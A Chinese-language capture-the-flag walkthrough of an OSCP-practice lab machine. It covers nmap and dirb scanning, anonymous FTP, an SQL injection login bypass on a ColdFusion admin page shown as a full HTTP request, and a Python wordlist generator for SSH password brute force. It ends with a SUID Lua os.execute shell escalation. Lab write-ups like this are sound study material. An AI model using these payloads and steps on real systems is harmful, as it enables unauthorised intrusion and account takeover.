前言
最近花点儿时间刷刷靶场找找感觉考个OSCP,遇见了这个靶机比较有意思,分享一下。
信息搜集
资产探测可以直接扫描,探测网卡网都可以,nat模式比较省时间,桥接的话小型局域网比较省时间,扫描端口
nmap -A -p- 192.168.0.104

首先就是ftp匿名登录,读取文件内容
get locale.txt
cat local.txt
...

base64解码发现也是无用。继续根据搜集到的端口信息进行信息搜集,目录扫描常见工具都可,kali下的自带工具免安装有dirb

dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt -t 100
进程并发100,字典默认够用了


数据库并不是弱口令,利用数据库写shell利用不了,换个方向,查看应用界面

源码可知为cms ColdFusion

查询历史漏洞发现路径
/CFIDE/

目录遍历

Administrator下无内容,继续进行目录扫描

SQL注入
admin' or 1=1#/1

单引号闭合,sql注入,直接用工具跑,抛出用户名以及密码尝试登录ssh
POST /CFIDE/Administrator/login.php HTTP/1.1
Host: 192.168.0.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.0.104
Connection: close
Referer: http://192.168.0.104/CFIDE/Administrator/login.php
Upgrade-Insecure-Requests: 1
uname=admin%27+or+1%3D1%23&pswd=s
盲注

一步步爆库爆表

三个用户名和密码只有第二个可以解密



二次信息搜集
尝试提权,未果
home
目录下存在用户sword
,但是没有权限切过去,信息搜集过程中发现路径
/var/backups/reminder
存在用户sword
的密码,但是缺少几位

后四位缺少数字,爆破
- 使用爆破工具ssh爆破,写个后四位的密码库
- 使用自带工具爆破后四位
# -*- coding: utf-8 -*-
# 打开文件
file = open("output.txt", "w")
# 循环遍历四位数字
for i in range(10000):
# 格式化字符串
password = "P4SsW0rD{0:04}".format(i)
# 将密码写入文件
file.write(password + "\n")
# 关闭文件
file.close()
file.close()
file.close()

爆破出密码为P4SsW0rD4286

提权
登录用户sword

find / -perm -u=s -type f 2>/dev/null

cd /usr/games/clover
./deamon.sh
lua提权
os.execute("/bin/sh")
读取最后的flag
